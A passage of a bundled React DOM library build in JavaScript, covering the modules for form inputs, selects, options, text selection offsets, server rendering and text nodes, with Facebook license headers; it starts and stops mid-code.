th: 'th',\n  thead: 'thead',\n  time: 'time',\n  title: 'title',\n  tr: 'tr',\n  track: 'track',\n  u: 'u',\n  ul: 'ul',\n  'var': 'var',\n  video: 'video',\n  wbr: 'wbr',\n\n  // SVG\n  circle: 'circle',\n  clipPath: 'clipPath',\n  defs: 'defs',\n  ellipse: 'ellipse',\n  g: 'g',\n  image: 'image',\n  line: 'line',\n  linearGradient: 'linearGradient',\n  mask: 'mask',\n  path: 'path',\n  pattern: 'pattern',\n  polygon: 'polygon',\n  polyline: 'polyline',\n  radialGradient: 'radialGradient',\n  rect: 'rect',\n  stop: 'stop',\n  svg: 'svg',\n  text: 'text',\n  tspan: 'tspan'\n\n}, createDOMFactory);\n\nmodule.exports = ReactDOMFactories;\n},{\"163\":163,\"62\":62,\"63\":63}],45:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMFeatureFlags\n */\n\n'use strict';\n\nvar ReactDOMFeatureFlags = {\n  useCreateElement: true\n};\n\nmodule.exports = ReactDOMFeatureFlags;\n},{}],46:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMIDOperations\n */\n\n'use strict';\n\nvar DOMChildrenOperations = _dereq_(7);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactPerf = _dereq_(82);\n\n/**\n * Operations used to process updates to DOM nodes.\n */\nvar ReactDOMIDOperations = {\n\n  /**\n   * Updates a component's children by processing a series of updates.\n   *\n   * @param {array<object>} updates List of update configurations.\n   * @internal\n   */\n  dangerouslyProcessChildrenUpdates: function (parentInst, updates) {\n    var node = ReactDOMComponentTree.getNodeFromInstance(parentInst);\n    DOMChildrenOperations.processUpdates(node, updates);\n  }\n};\n\nReactPerf.measureMethods(ReactDOMIDOperations, 'ReactDOMIDOperations', {\n  dangerouslyProcessChildrenUpdates: 'dangerouslyProcessChildrenUpdates'\n});\n\nmodule.exports = ReactDOMIDOperations;\n},{\"40\":40,\"7\":7,\"82\":82}],47:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMInput\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar DisabledInputUtils = _dereq_(14);\nvar DOMPropertyOperations = _dereq_(11);\nvar LinkedValueUtils = _dereq_(24);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactUpdates = _dereq_(94);\n\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\nvar didWarnValueLink = false;\nvar didWarnCheckedLink = false;\nvar didWarnValueNull = false;\nvar didWarnValueDefaultValue = false;\nvar didWarnCheckedDefaultChecked = false;\nvar didWarnControlledToUncontrolled = false;\nvar didWarnUncontrolledToControlled = false;\n\nfunction forceUpdateIfMounted() {\n  if (this._rootNodeID) {\n    // DOM component is still mounted; update\n    ReactDOMInput.updateWrapper(this);\n  }\n}\n\nfunction warnIfValueIsNull(props) {\n  if (props != null && props.value === null && !didWarnValueNull) {\n    \"development\" !== 'production' ? warning(false, '`value` prop on `input` should not be null. ' + 'Consider using the empty string to clear the component or `undefined` ' + 'for uncontrolled components.') : void 0;\n\n    didWarnValueNull = true;\n  }\n}\n\n/**\n * Implements an <input> native component that allows setting these optional\n * props: `checked`, `value`, `defaultChecked`, and `defaultValue`.\n *\n * If `checked` or `value` are not supplied (or null/undefined), user actions\n * that affect the checked state or value will trigger updates to the element.\n *\n * If they are supplied (and not null/undefined), the rendered element will not\n * trigger updates to the element. Instead, the props must change in order for\n * the rendered element to be updated.\n *\n * The rendered element will be initialized as unchecked (or `defaultChecked`)\n * with an empty value (or `defaultValue`).\n *\n * @see http://www.w3.org/TR/2012/WD-html5-20121025/the-input-element.html\n */\nvar ReactDOMInput = {\n  getNativeProps: function (inst, props) {\n    var value = LinkedValueUtils.getValue(props);\n    var checked = LinkedValueUtils.getChecked(props);\n\n    var nativeProps = _assign({\n      // Make sure we set .type before any other properties (setting .value\n      // before .type means .value is lost in IE11 and below)\n      type: undefined\n    }, DisabledInputUtils.getNativeProps(inst, props), {\n      defaultChecked: undefined,\n      defaultValue: undefined,\n      value: value != null ? value : inst._wrapperState.initialValue,\n      checked: checked != null ? checked : inst._wrapperState.initialChecked,\n      onChange: inst._wrapperState.onChange\n    });\n\n    return nativeProps;\n  },\n\n  mountWrapper: function (inst, props) {\n    if (\"development\" !== 'production') {\n      LinkedValueUtils.checkPropTypes('input', props, inst._currentElement._owner);\n\n      if (props.valueLink !== undefined && !didWarnValueLink) {\n        \"development\" !== 'production' ? warning(false, '`valueLink` prop on `input` is deprecated; set `value` and `onChange` instead.') : void 0;\n        didWarnValueLink = true;\n      }\n      if (props.checkedLink !== undefined && !didWarnCheckedLink) {\n        \"development\" !== 'production' ? warning(false, '`checkedLink` prop on `input` is deprecated; set `value` and `onChange` instead.') : void 0;\n        didWarnCheckedLink = true;\n      }\n      if (props.checked !== undefined && props.defaultChecked !== undefined && !didWarnCheckedDefaultChecked) {\n        \"development\" !== 'production' ? warning(false, 'Input elements must be either controlled or uncontrolled ' + '(specify either the checked prop, or the defaultChecked prop, but not ' + 'both). Decide between using a controlled or uncontrolled input ' + 'element and remove one of these props. More info: ' + 'https://fb.me/react-controlled-components') : void 0;\n        didWarnCheckedDefaultChecked = true;\n      }\n      if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValueDefaultValue) {\n        \"development\" !== 'production' ? warning(false, 'Input elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled input ' + 'element and remove one of these props. More info: ' + 'https://fb.me/react-controlled-components') : void 0;\n        didWarnValueDefaultValue = true;\n      }\n      warnIfValueIsNull(props);\n    }\n\n    var defaultValue = props.defaultValue;\n    inst._wrapperState = {\n      initialChecked: props.defaultChecked || false,\n      initialValue: defaultValue != null ? defaultValue : null,\n      listeners: null,\n      onChange: _handleChange.bind(inst)\n    };\n\n    if (\"development\" !== 'production') {\n      inst._wrapperState.controlled = props.checked !== undefined || props.value !== undefined;\n    }\n  },\n\n  updateWrapper: function (inst) {\n    var props = inst._currentElement.props;\n\n    if (\"development\" !== 'production') {\n      warnIfValueIsNull(props);\n\n      var initialValue = inst._wrapperState.initialChecked || inst._wrapperState.initialValue;\n      var defaultValue = props.defaultChecked || props.defaultValue;\n      var controlled = props.checked !== undefined || props.value !== undefined;\n      var owner = inst._currentElement._owner;\n\n      if ((initialValue || !inst._wrapperState.controlled) && controlled && !didWarnUncontrolledToControlled) {\n        \"development\" !== 'production' ? warning(false, '%s is changing a uncontrolled input of type %s to be controlled. ' + 'Input elements should not switch from uncontrolled to controlled (or vice versa). ' + 'Decide between using a controlled or uncontrolled input ' + 'element for the lifetime of the component. More info: https://fb.me/react-controlled-components', owner && owner.getName() || 'A component', props.type) : void 0;\n        didWarnUncontrolledToControlled = true;\n      }\n      if (inst._wrapperState.controlled && (defaultValue || !controlled) && !didWarnControlledToUncontrolled) {\n        \"development\" !== 'production' ? warning(false, '%s is changing a controlled input of type %s to be uncontrolled. ' + 'Input elements should not switch from controlled to uncontrolled (or vice versa). ' + 'Decide between using a controlled or uncontrolled input ' + 'element for the lifetime of the component. More info: https://fb.me/react-controlled-components', owner && owner.getName() || 'A component', props.type) : void 0;\n        didWarnControlledToUncontrolled = true;\n      }\n    }\n\n    // TODO: Shouldn't this be getChecked(props)?\n    var checked = props.checked;\n    if (checked != null) {\n      DOMPropertyOperations.setValueForProperty(ReactDOMComponentTree.getNodeFromInstance(inst), 'checked', checked || false);\n    }\n\n    var value = LinkedValueUtils.getValue(props);\n    if (value != null) {\n      // Cast `value` to a string to ensure the value is set correctly. While\n      // browsers typically do this as necessary, jsdom doesn't.\n      DOMPropertyOperations.setValueForProperty(ReactDOMComponentTree.getNodeFromInstance(inst), 'value', '' + value);\n    }\n  }\n};\n\nfunction _handleChange(event) {\n  var props = this._currentElement.props;\n\n  var returnValue = LinkedValueUtils.executeOnChange(props, event);\n\n  // Here we use asap to wait until all updates have propagated, which\n  // is important when using controlled components within layers:\n  // https://github.com/facebook/react/issues/1698\n  ReactUpdates.asap(forceUpdateIfMounted, this);\n\n  var name = props.name;\n  if (props.type === 'radio' && name != null) {\n    var rootNode = ReactDOMComponentTree.getNodeFromInstance(this);\n    var queryRoot = rootNode;\n\n    while (queryRoot.parentNode) {\n      queryRoot = queryRoot.parentNode;\n    }\n\n    // If `rootNode.form` was non-null, then we could try `form.elements`,\n    // but that sometimes behaves strangely in IE8. We could also try using\n    // `form.getElementsByName`, but that will only return direct children\n    // and won't include inputs that use the HTML5 `form=` attribute. Since\n    // the input might not even be in a form, let's just use the global\n    // `querySelectorAll` to ensure we don't miss anything.\n    var group = queryRoot.querySelectorAll('input[name=' + JSON.stringify('' + name) + '][type=\"radio\"]');\n\n    for (var i = 0; i < group.length; i++) {\n      var otherNode = group[i];\n      if (otherNode === rootNode || otherNode.form !== rootNode.form) {\n        continue;\n      }\n      // This will throw if radio buttons rendered by different copies of React\n      // and the same name are rendered into the same form (same as #1939).\n      // That's probably okay; we don't support it just as we don't support\n      // mixing React radio buttons with non-React ones.\n      var otherInstance = ReactDOMComponentTree.getInstanceFromNode(otherNode);\n      !otherInstance ? \"development\" !== 'production' ? invariant(false, 'ReactDOMInput: Mixing React and non-React radio inputs with the ' + 'same `name` is not supported.') : invariant(false) : void 0;\n      // If this is a controlled radio button group, forcing the input that\n      // was previously checked to update will cause it to be come re-checked\n      // as appropriate.\n      ReactUpdates.asap(forceUpdateIfMounted, otherInstance);\n    }\n  }\n\n  return returnValue;\n}\n\nmodule.exports = ReactDOMInput;\n},{\"11\":11,\"14\":14,\"158\":158,\"168\":168,\"169\":169,\"24\":24,\"40\":40,\"94\":94}],48:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMInstrumentation\n */\n\n'use strict';\n\nvar ReactDOMDebugTool = _dereq_(42);\n\nmodule.exports = { debugTool: ReactDOMDebugTool };\n},{\"42\":42}],49:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMOption\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactChildren = _dereq_(29);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactDOMSelect = _dereq_(50);\n\nvar warning = _dereq_(168);\n\n/**\n * Implements an <option> native component that warns when `selected` is set.\n */\nvar ReactDOMOption = {\n  mountWrapper: function (inst, props, nativeParent) {\n    // TODO (yungsters): Remove support for `selected` in <option>.\n    if (\"development\" !== 'production') {\n      \"development\" !== 'production' ? warning(props.selected == null, 'Use the `defaultValue` or `value` props on <select> instead of ' + 'setting `selected` on <option>.') : void 0;\n    }\n\n    // Look up whether this option is 'selected'\n    var selectValue = null;\n    if (nativeParent != null) {\n      var selectParent = nativeParent;\n\n      if (selectParent._tag === 'optgroup') {\n        selectParent = selectParent._nativeParent;\n      }\n\n      if (selectParent != null && selectParent._tag === 'select') {\n        selectValue = ReactDOMSelect.getSelectValueContext(selectParent);\n      }\n    }\n\n    // If the value is null (e.g., no specified value or after initial mount)\n    // or missing (e.g., for <datalist>), we don't change props.selected\n    var selected = null;\n    if (selectValue != null) {\n      selected = false;\n      if (Array.isArray(selectValue)) {\n        // multiple\n        for (var i = 0; i < selectValue.length; i++) {\n          if ('' + selectValue[i] === '' + props.value) {\n            selected = true;\n            break;\n          }\n        }\n      } else {\n        selected = '' + selectValue === '' + props.value;\n      }\n    }\n\n    inst._wrapperState = { selected: selected };\n  },\n\n  postMountWrapper: function (inst) {\n    // value=\"\" should make a value attribute (#6219)\n    var props = inst._currentElement.props;\n    if (props.value != null) {\n      var node = ReactDOMComponentTree.getNodeFromInstance(inst);\n      node.setAttribute('value', props.value);\n    }\n  },\n\n  getNativeProps: function (inst, props) {\n    var nativeProps = _assign({ selected: undefined, children: undefined }, props);\n\n    // Read state only from initial mount because <select> updates value\n    // manually; we need the initial state only for server rendering\n    if (inst._wrapperState.selected != null) {\n      nativeProps.selected = inst._wrapperState.selected;\n    }\n\n    var content = '';\n\n    // Flatten children and warn if they aren't strings or numbers;\n    // invalid types are ignored.\n    ReactChildren.forEach(props.children, function (child) {\n      if (child == null) {\n        return;\n      }\n      if (typeof child === 'string' || typeof child === 'number') {\n        content += child;\n      } else {\n        \"development\" !== 'production' ? warning(false, 'Only strings and numbers are supported as <option> children.') : void 0;\n      }\n    });\n\n    if (content) {\n      nativeProps.children = content;\n    }\n\n    return nativeProps;\n  }\n\n};\n\nmodule.exports = ReactDOMOption;\n},{\"168\":168,\"169\":169,\"29\":29,\"40\":40,\"50\":50}],50:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMSelect\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar DisabledInputUtils = _dereq_(14);\nvar LinkedValueUtils = _dereq_(24);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactUpdates = _dereq_(94);\n\nvar warning = _dereq_(168);\n\nvar didWarnValueLink = false;\nvar didWarnValueNull = false;\nvar didWarnValueDefaultValue = false;\n\nfunction updateOptionsIfPendingUpdateAndMounted() {\n  if (this._rootNodeID && this._wrapperState.pendingUpdate) {\n    this._wrapperState.pendingUpdate = false;\n\n    var props = this._currentElement.props;\n    var value = LinkedValueUtils.getValue(props);\n\n    if (value != null) {\n      updateOptions(this, Boolean(props.multiple), value);\n    }\n  }\n}\n\nfunction getDeclarationErrorAddendum(owner) {\n  if (owner) {\n    var name = owner.getName();\n    if (name) {\n      return ' Check the render method of `' + name + '`.';\n    }\n  }\n  return '';\n}\n\nfunction warnIfValueIsNull(props) {\n  if (props != null && props.value === null && !didWarnValueNull) {\n    \"development\" !== 'production' ? warning(false, '`value` prop on `select` should not be null. ' + 'Consider using the empty string to clear the component or `undefined` ' + 'for uncontrolled components.') : void 0;\n\n    didWarnValueNull = true;\n  }\n}\n\nvar valuePropNames = ['value', 'defaultValue'];\n\n/**\n * Validation function for `value` and `defaultValue`.\n * @private\n */\nfunction checkSelectPropTypes(inst, props) {\n  var owner = inst._currentElement._owner;\n  LinkedValueUtils.checkPropTypes('select', props, owner);\n\n  if (props.valueLink !== undefined && !didWarnValueLink) {\n    \"development\" !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n    didWarnValueLink = true;\n  }\n\n  for (var i = 0; i < valuePropNames.length; i++) {\n    var propName = valuePropNames[i];\n    if (props[propName] == null) {\n      continue;\n    }\n    if (props.multiple) {\n      \"development\" !== 'production' ? warning(Array.isArray(props[propName]), 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n    } else {\n      \"development\" !== 'production' ? warning(!Array.isArray(props[propName]), 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n    }\n  }\n}\n\n/**\n * @param {ReactDOMComponent} inst\n * @param {boolean} multiple\n * @param {*} propValue A stringable (with `multiple`, a list of stringables).\n * @private\n */\nfunction updateOptions(inst, multiple, propValue) {\n  var selectedValue, i;\n  var options = ReactDOMComponentTree.getNodeFromInstance(inst).options;\n\n  if (multiple) {\n    selectedValue = {};\n    for (i = 0; i < propValue.length; i++) {\n      selectedValue['' + propValue[i]] = true;\n    }\n    for (i = 0; i < options.length; i++) {\n      var selected = selectedValue.hasOwnProperty(options[i].value);\n      if (options[i].selected !== selected) {\n        options[i].selected = selected;\n      }\n    }\n  } else {\n    // Do not set `select.value` as exact behavior isn't consistent across all\n    // browsers for all cases.\n    selectedValue = '' + propValue;\n    for (i = 0; i < options.length; i++) {\n      if (options[i].value === selectedValue) {\n        options[i].selected = true;\n        return;\n      }\n    }\n    if (options.length) {\n      options[0].selected = true;\n    }\n  }\n}\n\n/**\n * Implements a <select> native component that allows optionally setting the\n * props `value` and `defaultValue`. If `multiple` is false, the prop must be a\n * stringable. If `multiple` is true, the prop must be an array of stringables.\n *\n * If `value` is not supplied (or null/undefined), user actions that change the\n * selected option will trigger updates to the rendered options.\n *\n * If it is supplied (and not null/undefined), the rendered options will not\n * update in response to user actions. Instead, the `value` prop must change in\n * order for the rendered options to update.\n *\n * If `defaultValue` is provided, any options with the supplied values will be\n * selected.\n */\nvar ReactDOMSelect = {\n  getNativeProps: function (inst, props) {\n    return _assign({}, DisabledInputUtils.getNativeProps(inst, props), {\n      onChange: inst._wrapperState.onChange,\n      value: undefined\n    });\n  },\n\n  mountWrapper: function (inst, props) {\n    if (\"development\" !== 'production') {\n      checkSelectPropTypes(inst, props);\n      warnIfValueIsNull(props);\n    }\n\n    var value = LinkedValueUtils.getValue(props);\n    inst._wrapperState = {\n      pendingUpdate: false,\n      initialValue: value != null ? value : props.defaultValue,\n      listeners: null,\n      onChange: _handleChange.bind(inst),\n      wasMultiple: Boolean(props.multiple)\n    };\n\n    if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValueDefaultValue) {\n      \"development\" !== 'production' ? warning(false, 'Select elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled select ' + 'element and remove one of these props. More info: ' + 'https://fb.me/react-controlled-components') : void 0;\n      didWarnValueDefaultValue = true;\n    }\n  },\n\n  getSelectValueContext: function (inst) {\n    // ReactDOMOption looks at this initial value so the initial generated\n    // markup has correct `selected` attributes\n    return inst._wrapperState.initialValue;\n  },\n\n  postUpdateWrapper: function (inst) {\n    var props = inst._currentElement.props;\n    if (\"development\" !== 'production') {\n      warnIfValueIsNull(props);\n    }\n\n    // After the initial mount, we control selected-ness manually so don't pass\n    // this value down\n    inst._wrapperState.initialValue = undefined;\n\n    var wasMultiple = inst._wrapperState.wasMultiple;\n    inst._wrapperState.wasMultiple = Boolean(props.multiple);\n\n    var value = LinkedValueUtils.getValue(props);\n    if (value != null) {\n      inst._wrapperState.pendingUpdate = false;\n      updateOptions(inst, Boolean(props.multiple), value);\n    } else if (wasMultiple !== Boolean(props.multiple)) {\n      // For simplicity, reapply `defaultValue` if `multiple` is toggled.\n      if (props.defaultValue != null) {\n        updateOptions(inst, Boolean(props.multiple), props.defaultValue);\n      } else {\n        // Revert the select back to its default unselected state.\n        updateOptions(inst, Boolean(props.multiple), props.multiple ? [] : '');\n      }\n    }\n  }\n};\n\nfunction _handleChange(event) {\n  var props = this._currentElement.props;\n  var returnValue = LinkedValueUtils.executeOnChange(props, event);\n\n  if (this._rootNodeID) {\n    this._wrapperState.pendingUpdate = true;\n  }\n  ReactUpdates.asap(updateOptionsIfPendingUpdateAndMounted, this);\n  return returnValue;\n}\n\nmodule.exports = ReactDOMSelect;\n},{\"14\":14,\"168\":168,\"169\":169,\"24\":24,\"40\":40,\"94\":94}],51:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMSelection\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar getNodeForCharacterOffset = _dereq_(129);\nvar getTextContentAccessor = _dereq_(130);\n\n/**\n * While `isCollapsed` is available on the Selection object and `collapsed`\n * is available on the Range object, IE11 sometimes gets them wrong.\n * If the anchor/focus nodes and offsets are the same, the range is collapsed.\n */\nfunction isCollapsed(anchorNode, anchorOffset, focusNode, focusOffset) {\n  return anchorNode === focusNode && anchorOffset === focusOffset;\n}\n\n/**\n * Get the appropriate anchor and focus node/offset pairs for IE.\n *\n * The catch here is that IE's selection API doesn't provide information\n * about whether the selection is forward or backward, so we have to\n * behave as though it's always forward.\n *\n * IE text differs from modern selection in that it behaves as though\n * block elements end with a new line. This means character offsets will\n * differ between the two APIs.\n *\n * @param {DOMElement} node\n * @return {object}\n */\nfunction getIEOffsets(node) {\n  var selection = document.selection;\n  var selectedRange = selection.createRange();\n  var selectedLength = selectedRange.text.length;\n\n  // Duplicate selection so we can move range without breaking user selection.\n  var fromStart = selectedRange.duplicate();\n  fromStart.moveToElementText(node);\n  fromStart.setEndPoint('EndToStart', selectedRange);\n\n  var startOffset = fromStart.text.length;\n  var endOffset = startOffset + selectedLength;\n\n  return {\n    start: startOffset,\n    end: endOffset\n  };\n}\n\n/**\n * @param {DOMElement} node\n * @return {?object}\n */\nfunction getModernOffsets(node) {\n  var selection = window.getSelection && window.getSelection();\n\n  if (!selection || selection.rangeCount === 0) {\n    return null;\n  }\n\n  var anchorNode = selection.anchorNode;\n  var anchorOffset = selection.anchorOffset;\n  var focusNode = selection.focusNode;\n  var focusOffset = selection.focusOffset;\n\n  var currentRange = selection.getRangeAt(0);\n\n  // In Firefox, range.startContainer and range.endContainer can be \"anonymous\n  // divs\", e.g. the up/down buttons on an <input type=\"number\">. Anonymous\n  // divs do not seem to expose properties, triggering a \"Permission denied\n  // error\" if any of its properties are accessed. The only seemingly possible\n  // way to avoid erroring is to access a property that typically works for\n  // non-anonymous divs and catch any error that may otherwise arise. See\n  // https://bugzilla.mozilla.org/show_bug.cgi?id=208427\n  try {\n    /* eslint-disable no-unused-expressions */\n    currentRange.startContainer.nodeType;\n    currentRange.endContainer.nodeType;\n    /* eslint-enable no-unused-expressions */\n  } catch (e) {\n    return null;\n  }\n\n  // If the node and offset values are the same, the selection is collapsed.\n  // `Selection.isCollapsed` is available natively, but IE sometimes gets\n  // this value wrong.\n  var isSelectionCollapsed = isCollapsed(selection.anchorNode, selection.anchorOffset, selection.focusNode, selection.focusOffset);\n\n  var rangeLength = isSelectionCollapsed ? 0 : currentRange.toString().length;\n\n  var tempRange = currentRange.cloneRange();\n  tempRange.selectNodeContents(node);\n  tempRange.setEnd(currentRange.startContainer, currentRange.startOffset);\n\n  var isTempRangeCollapsed = isCollapsed(tempRange.startContainer, tempRange.startOffset, tempRange.endContainer, tempRange.endOffset);\n\n  var start = isTempRangeCollapsed ? 0 : tempRange.toString().length;\n  var end = start + rangeLength;\n\n  // Detect whether the selection is backward.\n  var detectionRange = document.createRange();\n  detectionRange.setStart(anchorNode, anchorOffset);\n  detectionRange.setEnd(focusNode, focusOffset);\n  var isBackward = detectionRange.collapsed;\n\n  return {\n    start: isBackward ? end : start,\n    end: isBackward ? start : end\n  };\n}\n\n/**\n * @param {DOMElement|DOMTextNode} node\n * @param {object} offsets\n */\nfunction setIEOffsets(node, offsets) {\n  var range = document.selection.createRange().duplicate();\n  var start, end;\n\n  if (offsets.end === undefined) {\n    start = offsets.start;\n    end = start;\n  } else if (offsets.start > offsets.end) {\n    start = offsets.end;\n    end = offsets.start;\n  } else {\n    start = offsets.start;\n    end = offsets.end;\n  }\n\n  range.moveToElementText(node);\n  range.moveStart('character', start);\n  range.setEndPoint('EndToStart', range);\n  range.moveEnd('character', end - start);\n  range.select();\n}\n\n/**\n * In modern non-IE browsers, we can support both forward and backward\n * selections.\n *\n * Note: IE10+ supports the Selection object, but it does not support\n * the `extend` method, which means that even in modern IE, it's not possible\n * to programmatically create a backward selection. Thus, for all IE\n * versions, we use the old IE API to create our selections.\n *\n * @param {DOMElement|DOMTextNode} node\n * @param {object} offsets\n */\nfunction setModernOffsets(node, offsets) {\n  if (!window.getSelection) {\n    return;\n  }\n\n  var selection = window.getSelection();\n  var length = node[getTextContentAccessor()].length;\n  var start = Math.min(offsets.start, length);\n  var end = offsets.end === undefined ? start : Math.min(offsets.end, length);\n\n  // IE 11 uses modern selection, but doesn't support the extend method.\n  // Flip backward selections, so we can set with a single range.\n  if (!selection.extend && start > end) {\n    var temp = end;\n    end = start;\n    start = temp;\n  }\n\n  var startMarker = getNodeForCharacterOffset(node, start);\n  var endMarker = getNodeForCharacterOffset(node, end);\n\n  if (startMarker && endMarker) {\n    var range = document.createRange();\n    range.setStart(startMarker.node, startMarker.offset);\n    selection.removeAllRanges();\n\n    if (start > end) {\n      selection.addRange(range);\n      selection.extend(endMarker.node, endMarker.offset);\n    } else {\n      range.setEnd(endMarker.node, endMarker.offset);\n      selection.addRange(range);\n    }\n  }\n}\n\nvar useIEOffsets = ExecutionEnvironment.canUseDOM && 'selection' in document && !('getSelection' in window);\n\nvar ReactDOMSelection = {\n  /**\n   * @param {DOMElement} node\n   */\n  getOffsets: useIEOffsets ? getIEOffsets : getModernOffsets,\n\n  /**\n   * @param {DOMElement|DOMTextNode} node\n   * @param {object} offsets\n   */\n  setOffsets: useIEOffsets ? setIEOffsets : setModernOffsets\n};\n\nmodule.exports = ReactDOMSelection;\n},{\"129\":129,\"130\":130,\"144\":144}],52:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMServer\n */\n\n'use strict';\n\nvar ReactDefaultInjection = _dereq_(59);\nvar ReactServerRendering = _dereq_(90);\nvar ReactVersion = _dereq_(95);\n\nReactDefaultInjection.inject();\n\nvar ReactDOMServer = {\n  renderToString: ReactServerRendering.renderToString,\n  renderToStaticMarkup: ReactServerRendering.renderToStaticMarkup,\n  version: ReactVersion\n};\n\nmodule.exports = ReactDOMServer;\n},{\"59\":59,\"90\":90,\"95\":95}],53:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMTextComponent\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar DOMChildrenOperations = _dereq_(7);\nvar DOMLazyTree = _dereq_(8);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactPerf = _dereq_(82);\n\nvar escapeTextContentForBrowser = _dereq_(119);\nvar invariant = _dereq_(158);\nvar validateDOMNesting = _dereq_(142);\n\n/**\n * Text nodes violate a couple assumptions that React makes about components:\n *\n *  - When mounting text into the DOM, adjacent text nodes are merged.\n *  - Text nodes cannot be assigned a React root ID.\n *\n * This component is used to wrap strings between comment nodes so that they\n * can undergo the same reconciliation that is applied to elements.\n *\n * TODO: Investigate representing React components in the DOM with text nodes.\n *\n * @class ReactDOMTextComponent\n * @extends ReactComponent\n * @internal\n */\nvar ReactDOMTextComponent = function (text) {\n  // TODO: This is really a ReactText (ReactNode), not a ReactElement\n  this._currentElement = text;\n  this._stringText = '' + text;\n  // ReactDOMComponentTree uses these:\n  this._nativeNode = null;\n  this._nativeParent = null;\n\n  // Properties\n  this._domID = null;\n  this._mountIndex = 0;\n  this._closingComment = null;\n  this._commentNodes = null;\n};\n\n_assign(ReactDOMTextComponent.prototype, {\n\n  /**\n   * Creates the markup for this text node. This node is not intended to have\n   * any features besides containing text content.\n   *\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @return {string} Markup for this text node.\n   * @internal\n   */\n  mountComponent: function (transaction, nativeParent, nativeContainerInfo, context) {\n    if (\"development\" !== 'production') {\n      var parentInfo;\n      if (nativeParent != null) {\n        parentInfo = nativeParent._ancestorInfo;\n      } else if (nativeContainerInfo != null) {\n        parentInfo = nativeContainerInfo._ancestorInfo;\n      }\n      if (parentInfo) {\n        // parentInfo should always be present except for the top-level\n        // component when server rendering\n        validateDOMNesting('#text', this, parentInfo);\n      }\n    }\n\n    var domID = nativeContainerInfo._idCounter++;\n    var openingValue = ' react-text: ' + domID + ' ';\n    var closingValue = ' /react-text ';\n    this._domID = domID;\n    this._nativeParent = nativeParent;\n    if (transaction.useCreateElement) {\n      var ownerDocument = nativeContainerInfo._ownerDocument;\n      var openingComment = ownerDocument.createComment(openingValue);\n      var closingComment = ownerDocument.createComment(closingValue);\n      var lazyTree = DOMLazyTree(ownerDocument.createDocumentFragment());\n      DOMLazyTree.queueChild(lazyTree, DOMLazyTree(openingComment));\n      if (this._stringText) {\n        DOMLazyTree.queueChild(lazyTree, DOMLazyTree(ownerDocument.createTextNode(this._stringText)));\n      }\n      DOMLazyTree.queueChild(lazyTree, DOMLazyTree(closingComment));\n      ReactDOMComponentTree.precacheNode(this, openingComment);\n      this._closingComment = closingComment;\n      return lazyTree;\n    } else {\n      var escapedText = escapeTextContentForBrowser(this._stringText);\n\n      if (transaction.renderToStaticMarkup) {\n        // Normally we'd wrap this between comment nodes for the reasons stated\n        // above, but since this is a situation where React won't take over\n        // (static pages), we can simply return the text as it is.\n        return escapedText;\n      }\n\n      return 